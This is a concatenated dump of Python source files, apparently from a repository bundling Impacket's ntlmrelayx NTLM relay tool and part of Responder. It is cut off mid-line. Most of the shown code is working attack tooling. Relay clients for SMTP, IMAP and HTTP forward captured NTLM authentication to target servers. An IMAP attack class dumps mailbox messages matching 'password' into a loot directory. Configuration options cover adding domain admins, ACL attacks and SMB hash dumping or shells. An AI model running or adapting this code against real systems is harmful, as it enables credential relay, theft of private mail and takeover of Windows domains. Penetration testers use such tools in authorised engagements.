PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 27 | 28 | class SMTPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "SMTP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 36 | # Turn on to debug SMTP messages 37 | # self.session.debuglevel = 3 38 | self.session.ehlo() 39 | 40 | if 'AUTH NTLM' not in self.session.ehlo_resp: 41 | LOG.error('SMTP server does not support NTLM authentication!') 42 | return False 43 | return True 44 | 45 | def sendNegotiate(self,negotiateMessage): 46 | negotiate = base64.b64encode(negotiateMessage) 47 | self.session.putcmd('AUTH NTLM') 48 | code, resp = self.session.getreply() 49 | if code != 334: 50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 51 | return False 52 | else: 53 | self.session.putcmd(negotiate) 54 | try: 55 | code, serverChallengeBase64 = self.session.getreply() 56 | serverChallenge = base64.b64decode(serverChallengeBase64) 57 | challenge = NTLMAuthChallenge() 58 | challenge.fromString(serverChallenge) 59 | return challenge 60 | except (IndexError, KeyError, AttributeError): 61 | LOG.error('No NTLM challenge returned from SMTP server') 62 | raise 63 | 64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 65 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 67 | token = respToken2['ResponseToken'] 68 | else: 69 | token = authenticateMessageBlob 70 | auth = base64.b64encode(token) 71 | self.session.putcmd(auth) 72 | typ, data = self.session.getreply() 73 | if typ == 235: 74 | self.session.state = 'AUTH' 75 | return None, STATUS_SUCCESS 76 | else: 77 | LOG.error('SMTP: %s' % ''.join(data)) 78 | return None, STATUS_ACCESS_DENIED 79 | 80 | def killConnection(self): 81 | if self.session is not None: 82 | self.session.close() 83 | self.session = None 84 | 85 | def keepAlive(self): 86 | # Send a NOOP 87 | self.session.noop() 88 | -------------------------------------------------------------------------------- /ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # IMAP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import re 19 | import os 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 24 | 25 | class IMAPAttack(ProtocolAttack): 26 | """ 27 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 28 | for messages with "password" in the header or body. Alternate keywords can be specified 29 | on the command line. For more advanced attacks, consider using the SOCKS feature. 30 | """ 31 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 32 | def run(self): 33 | #Default action: Search the INBOX 34 | targetBox = self.config.mailbox 35 | result, data = self.client.select(targetBox,True) #True indicates readonly 36 | if result != 'OK': 37 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 38 | LOG.info('Opening mailbox INBOX') 39 | targetBox = 'INBOX' 40 | result, data = self.client.select(targetBox,True) #True indicates readonly 41 | inboxCount = int(data[0]) 42 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 43 | #If we should not dump all, search for the keyword 44 | if not self.config.dump_all: 45 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 46 | #Check if search worked 47 | if result != 'OK': 48 | LOG.error('Search failed: %s' % rawdata) 49 | return 50 | dumpMessages = [] 51 | #message IDs are separated by spaces 52 | for msgs in rawdata: 53 | dumpMessages += msgs.split(' ') 54 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 55 | dumpMessages = dumpMessages[:self.config.dump_max] 56 | else: 57 | #Dump all mails, up to the maximum number configured 58 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 59 | dumpMessages = range(1, inboxCount+1) 60 | else: 61 | dumpMessages = range(1, self.config.dump_max+1) 62 | 63 | numMsgs = len(dumpMessages) 64 | if numMsgs == 0: 65 | LOG.info('No messages were found containing the search keywords') 66 | else: 67 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 68 | for i, msgIndex in enumerate(dumpMessages): 69 | #Fetch the message 70 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 71 | if result != 'OK': 72 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 73 | continue 74 | 75 | #Replace any special chars in the mailbox name and username 76 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 77 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 78 | 79 | #Combine username with mailboxname and mail number 80 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 81 | 82 | #Write it to the file 83 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 84 | of.write(rawMessage[0][1]) 85 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 86 | 87 | #Close connection cleanly 88 | self.client.logout() 89 | -------------------------------------------------------------------------------- /llmnrpoison/odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Client Base Class definition 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # Defines a base class for all clients + loads all available modules 14 | # 15 | # ToDo: 16 | # 17 | import os, sys, pkg_resources 18 | from impacket import LOG 19 | 20 | PROTOCOL_CLIENTS = {} 21 | 22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin for protocol clients: 25 | # PROTOCOL_CLIENT_CLASS = "" 26 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 27 | class ProtocolClient: 28 | PLUGIN_NAME = 'PROTOCOL' 29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 30 | self.serverConfig = serverConfig 31 | self.targetHost = target.hostname 32 | # A default target port is specified by the subclass 33 | if target.port is not None: 34 | # We override it by the one specified in the target 35 | self.targetPort = target.port 36 | else: 37 | self.targetPort = targetPort 38 | self.target = target 39 | self.extendedSecurity = extendedSecurity 40 | self.session = None 41 | self.sessionData = {} 42 | 43 | def initConnection(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | def killConnection(self): 47 | raise RuntimeError('Virtual Function') 48 | 49 | def sendNegotiate(self, negotiateMessage): 50 | # Charged of sending the type 1 NTLM Message 51 | raise RuntimeError('Virtual Function') 52 | 53 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 54 | # Charged of sending the type 3 NTLM Message to the Target 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendStandardSecurityAuth(self, sessionSetupData): 58 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 59 | raise RuntimeError('Virtual Function') 60 | 61 | def getSession(self): 62 | # Should return the active session for the relayed connection 63 | raise RuntimeError('Virtual Function') 64 | 65 | def getSessionData(self): 66 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 67 | # answers from the original server) 68 | return self.sessionData 69 | 70 | def getStandardSecurityChallenge(self): 71 | # Should return the Challenge returned by the server when Extended Security is not set 72 | # This should only happen with against old Servers. By default we return None 73 | return None 74 | 75 | def keepAlive(self): 76 | # Charged of keeping connection alive 77 | raise RuntimeError('Virtual Function') 78 | 79 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 80 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 81 | continue 82 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 83 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 84 | try: 85 | pluginClasses = set() 86 | try: 87 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 88 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 89 | pluginClasses.add(getattr(module, pluginClass)) 90 | else: 91 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 92 | except Exception, e: 93 | LOG.debug(e) 94 | pass 95 | 96 | for pluginClass in pluginClasses: 97 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 98 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 99 | except Exception, e: 100 | LOG.debug(str(e)) 101 | 102 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import imaplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 27 | 28 | class IMAPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "IMAP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 36 | self.authTag = self.session._new_tag() 37 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 38 | if 'AUTH=NTLM' not in self.session.capabilities: 39 | LOG.error('IMAP server does not support NTLM authentication!') 40 | return False 41 | return True 42 | 43 | def sendNegotiate(self,negotiateMessage): 44 | negotiate = base64.b64encode(negotiateMessage) 45 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 46 | resp = self.session.readline().strip() 47 | if resp != '+': 48 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 49 | return False 50 | else: 51 | self.session.send(negotiate + imaplib.CRLF) 52 | try: 53 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 54 | serverChallenge = base64.b64decode(serverChallengeBase64) 55 | challenge = NTLMAuthChallenge() 56 | challenge.fromString(serverChallenge) 57 | return challenge 58 | except (IndexError, KeyError, AttributeError): 59 | LOG.error('No NTLM challenge returned from IMAP server') 60 | raise 61 | 62 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 63 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 64 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 65 | token = respToken2['ResponseToken'] 66 | else: 67 | token = authenticateMessageBlob 68 | auth = base64.b64encode(token) 69 | self.session.send(auth + imaplib.CRLF) 70 | typ, data = self.session._get_tagged_response(self.authTag) 71 | if typ == 'OK': 72 | self.session.state = 'AUTH' 73 | return None, STATUS_SUCCESS 74 | else: 75 | LOG.error('IMAP: %s' % ' '.join(data)) 76 | return None, STATUS_ACCESS_DENIED 77 | 78 | def killConnection(self): 79 | if self.session is not None: 80 | self.session.logout() 81 | self.session = None 82 | 83 | def keepAlive(self): 84 | # Send a NOOP 85 | self.session.noop() 86 | 87 | class IMAPSRelayClient(IMAPRelayClient): 88 | PLUGIN_NAME = "IMAPS" 89 | 90 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 91 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 92 | 93 | def initConnection(self): 94 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 95 | self.authTag = self.session._new_tag() 96 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 97 | if 'AUTH=NTLM' not in self.session.capabilities: 98 | LOG.error('IMAP server does not support NTLM authentication!') 99 | return False 100 | return True 101 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/config.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Configuration class which holds the config specified on the 14 | # command line, this can be passed to the tools' servers and clients 15 | class NTLMRelayxConfig: 16 | def __init__(self): 17 | 18 | self.daemon = True 19 | 20 | # Set the value of the interface ip address 21 | self.interfaceIp = None 22 | 23 | self.domainIp = None 24 | self.machineAccount = None 25 | self.machineHashes = None 26 | self.target = None 27 | self.mode = None 28 | self.redirecthost = None 29 | self.outputFile = None 30 | self.attacks = None 31 | self.lootdir = None 32 | self.randomtargets = False 33 | self.encoding = None 34 | self.ipv6 = False 35 | 36 | #WPAD options 37 | self.serve_wpad = False 38 | self.wpad_host = None 39 | self.wpad_auth_num = 0 40 | self.smb2support = False 41 | 42 | #WPAD options 43 | self.serve_wpad = False 44 | self.wpad_host = None 45 | self.wpad_auth_num = 0 46 | self.smb2support = False 47 | 48 | # SMB options 49 | self.exeFile = None 50 | self.command = None 51 | self.interactive = False 52 | self.enumLocalAdmins = False 53 | 54 | # LDAP options 55 | self.dumpdomain = True 56 | self.addda = True 57 | self.aclattack = True 58 | self.escalateuser = None 59 | 60 | # MSSQL options 61 | self.queries = [] 62 | 63 | # Registered protocol clients 64 | self.protocolClients = {} 65 | 66 | # SOCKS options 67 | self.runSocks = False 68 | self.socksServer = None 69 | 70 | 71 | def setSMB2Support(self, value): 72 | self.smb2support = value 73 | 74 | def setProtocolClients(self, clients): 75 | self.protocolClients = clients 76 | 77 | def setInterfaceIp(self, ip): 78 | self.interfaceIp = ip 79 | 80 | def setRunSocks(self, socks, server): 81 | self.runSocks = socks 82 | self.socksServer = server 83 | 84 | def setOutputFile(self, outputFile): 85 | self.outputFile = outputFile 86 | 87 | def setTargets(self, target): 88 | self.target = target 89 | 90 | def setExeFile(self, filename): 91 | self.exeFile = filename 92 | 93 | def setCommand(self, command): 94 | self.command = command 95 | 96 | def setEnumLocalAdmins(self, enumLocalAdmins): 97 | self.enumLocalAdmins = enumLocalAdmins 98 | 99 | def setEncoding(self, encoding): 100 | self.encoding = encoding 101 | 102 | def setMode(self, mode): 103 | self.mode = mode 104 | 105 | def setAttacks(self, attacks): 106 | self.attacks = attacks 107 | 108 | def setLootdir(self, lootdir): 109 | self.lootdir = lootdir 110 | 111 | def setRedirectHost(self,redirecthost): 112 | self.redirecthost = redirecthost 113 | 114 | def setDomainAccount( self, machineAccount, machineHashes, domainIp): 115 | self.machineAccount = machineAccount 116 | self.machineHashes = machineHashes 117 | self.domainIp = domainIp 118 | 119 | def setRandomTargets(self, randomtargets): 120 | self.randomtargets = randomtargets 121 | 122 | def setLDAPOptions(self, dumpdomain, addda, aclattack, escalateuser): 123 | self.dumpdomain = dumpdomain 124 | self.addda = addda 125 | self.aclattack = aclattack 126 | self.escalateuser = escalateuser 127 | 128 | def setMSSQLOptions(self, queries): 129 | self.queries = queries 130 | 131 | def setInteractive(self, interactive): 132 | self.interactive = interactive 133 | 134 | def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max): 135 | self.keyword = keyword 136 | self.mailbox = mailbox 137 | self.dump_all = dump_all 138 | self.dump_max = dump_max 139 | 140 | def setIPv6(self, use_ipv6): 141 | self.ipv6 = use_ipv6 142 | 143 | def setWpadOptions(self, wpad_host, wpad_auth_num): 144 | if wpad_host != None: 145 | self.serve_wpad = True 146 | self.wpad_host = wpad_host 147 | self.wpad_auth_num = wpad_auth_num 148 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/targetsutils.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Target utilities 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Classes for handling specified targets and keeping state of which targets have been processed 15 | # Format of targets are based in URI syntax 16 | # scheme://netloc/path 17 | # where: 18 | # scheme: the protocol to target (e.g. 'smb', 'mssql', 'all') 19 | # netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget 20 | # to escape the '\') 21 | # path: only used by specific attacks (e.g. HTTP attack). 22 | # 23 | # Some examples: 24 | # 25 | # smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting 26 | # mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is 27 | # connecting. 28 | # 29 | # ToDo: 30 | # [ ]: Expand the ALL:// to all the supported protocols 31 | 32 | 33 | import os 34 | import random 35 | import time 36 | from urlparse import urlparse 37 | from impacket import LOG 38 | from threading import Thread 39 | 40 | 41 | class TargetsProcessor: 42 | def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None): 43 | # Here we store the attacks that already finished, mostly the ones that have usernames, since the 44 | # other ones will never finish. 45 | self.finishedAttacks = [] 46 | self.protocolClients = protocolClients 47 | if targetListFile is None: 48 | self.filename = None 49 | self.originalTargets = self.processTarget(singleTarget, protocolClients) 50 | else: 51 | self.filename = targetListFile 52 | self.originalTargets = [] 53 | self.readTargets() 54 | 55 | self.candidates = [x for x in self.originalTargets] 56 | 57 | @staticmethod 58 | def processTarget(target, protocolClients): 59 | # Check if we have a single target, with no URI form 60 | if target.find('://') <= 0: 61 | # Target is a single IP, assuming it's SMB. 62 | return [urlparse('smb://%s' % target)] 63 | 64 | # Checks if it needs to expand the list if there's a all://* 65 | retVals = [] 66 | if target[:3].upper() == 'ALL': 67 | strippedTarget = target[3:] 68 | for protocol in protocolClients: 69 | retVals.append(urlparse('%s%s' % (protocol, strippedTarget))) 70 | return retVals 71 | else: 72 | return [urlparse(target)] 73 | 74 | def readTargets(self): 75 | try: 76 | with open(self.filename,'r') as f: 77 | self.originalTargets = [] 78 | for line in f: 79 | target = line.strip() 80 | if target is not None: 81 | self.originalTargets.extend(self.processTarget(target, self.protocolClients)) 82 | except IOError, e: 83 | LOG.error("Could not open file: %s - " % (self.filename, str(e))) 84 | 85 | if len(self.originalTargets) == 0: 86 | LOG.critical("Warning: no valid targets specified!") 87 | 88 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks] 89 | 90 | def logTarget(self, target, gotRelay = False): 91 | # If the target has a username, we can safely remove it from the list. Mission accomplished. 92 | if gotRelay is True: 93 | if target.username is not None: 94 | self.finishedAttacks.append(target) 95 | 96 | def getTarget(self, choose_random=False): 97 | if len(self.candidates) > 0: 98 | if choose_random is True: 99 | return random.choice(self.candidates) 100 | else: 101 | return self.candidates.pop() 102 | else: 103 | if len(self.originalTargets) > 0: 104 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks] 105 | else: 106 | #We are here, which means all the targets are already exhausted by the client 107 | LOG.info("All targets processed!") 108 | 109 | return self.candidates.pop() 110 | 111 | class TargetsFileWatcher(Thread): 112 | def __init__(self,targetprocessor): 113 | Thread.__init__(self) 114 | self.targetprocessor = targetprocessor 115 | self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime 116 | #print self.lastmtime 117 | 118 | def run(self): 119 | while True: 120 | mtime = os.stat(self.targetprocessor.filename).st_mtime 121 | if mtime > self.lastmtime: 122 | LOG.info('Targets file modified - refreshing') 123 | self.lastmtime = mtime 124 | self.targetprocessor.readTargets() 125 | time.sleep(1.0) 126 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/httprelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 15 | # 16 | import re 17 | import ssl 18 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 19 | import base64 20 | 21 | from struct import unpack 22 | from impacket import LOG 23 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 24 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 25 | from impacket.ntlm import NTLMAuthChallenge 26 | from impacket.spnego import SPNEGO_NegTokenResp 27 | 28 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 29 | 30 | class HTTPRelayClient(ProtocolClient): 31 | PLUGIN_NAME = "HTTP" 32 | 33 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 34 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 35 | self.extendedSecurity = extendedSecurity 36 | self.negotiateMessage = None 37 | self.authenticateMessageBlob = None 38 | self.server = None 39 | 40 | def initConnection(self): 41 | self.session = HTTPConnection(self.targetHost,self.targetPort) 42 | self.lastresult = None 43 | if self.target.path == '': 44 | self.path = '/' 45 | else: 46 | self.path = self.target.path 47 | return True 48 | 49 | def sendNegotiate(self,negotiateMessage): 50 | #Check if server wants auth 51 | self.session.request('GET', self.path) 52 | res = self.session.getresponse() 53 | res.read() 54 | if res.status != 401: 55 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 56 | try: 57 | if 'NTLM' not in res.getheader('WWW-Authenticate'): 58 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 59 | return False 60 | except (KeyError, TypeError): 61 | LOG.error('No authentication requested by the server for url %s' % self.targetHost) 62 | return False 63 | 64 | #Negotiate auth 65 | negotiate = base64.b64encode(negotiateMessage) 66 | headers = {'Authorization':'NTLM %s' % negotiate} 67 | self.session.request('GET', self.path ,headers=headers) 68 | res = self.session.getresponse() 69 | res.read() 70 | try: 71 | serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 72 | serverChallenge = base64.b64decode(serverChallengeBase64) 73 | challenge = NTLMAuthChallenge() 74 | challenge.fromString(serverChallenge) 75 | return challenge 76 | except (IndexError, KeyError, AttributeError): 77 | LOG.error('No NTLM challenge returned from server') 78 | 79 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 80 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 81 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 82 | token = respToken2['ResponseToken'] 83 | else: 84 | token = authenticateMessageBlob 85 | auth = base64.b64encode(token) 86 | headers = {'Authorization':'NTLM %s' % auth} 87 | self.session.request('GET', self.path,headers=headers) 88 | res = self.session.getresponse() 89 | if res.status == 401: 90 | return None, STATUS_ACCESS_DENIED 91 | else: 92 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 93 | #Cache this 94 | self.lastresult = res.read() 95 | return None, STATUS_SUCCESS 96 | 97 | def killConnection(self): 98 | if self.session is not None: 99 | self.session.close() 100 | self.session = None 101 | 102 | def keepAlive(self): 103 | # Do a HEAD for favicon.ico 104 | self.session.request('HEAD','/favicon.ico') 105 | self.session.getresponse() 106 | 107 | class HTTPSRelayClient(HTTPRelayClient): 108 | PLUGIN_NAME = "HTTPS" 109 | 110 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 111 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 112 | 113 | def initConnection(self): 114 | self.lastresult = None 115 | if self.target.path == '': 116 | self.path = '/' 117 | else: 118 | self.path = self.target.path 119 | try: 120 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 121 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 122 | except AttributeError: 123 | self.session = HTTPSConnection(self.targetHost,self.targetPort) 124 | return True 125 | 126 | -------------------------------------------------------------------------------- /ntlmrelayx/attacks/smbattack.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMB Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 21 | from impacket import smb3, smb 22 | from impacket.examples import serviceinstall 23 | from impacket.smbconnection import SMBConnection 24 | from impacket.examples.smbclient import MiniImpacketShell 25 | from impacket.dcerpc.v5.rpcrt import DCERPCException 26 | 27 | PROTOCOL_ATTACK_CLASS = "SMBAttack" 28 | 29 | class SMBAttack(ProtocolAttack): 30 | """ 31 | This is the SMB default attack class. 32 | It will either dump the hashes from the remote target, or open an interactive 33 | shell if the -i option is specified. 34 | """ 35 | PLUGIN_NAMES = ["SMB"] 36 | def __init__(self, config, SMBClient, username): 37 | ProtocolAttack.__init__(self, config, SMBClient, username) 38 | if isinstance(SMBClient, 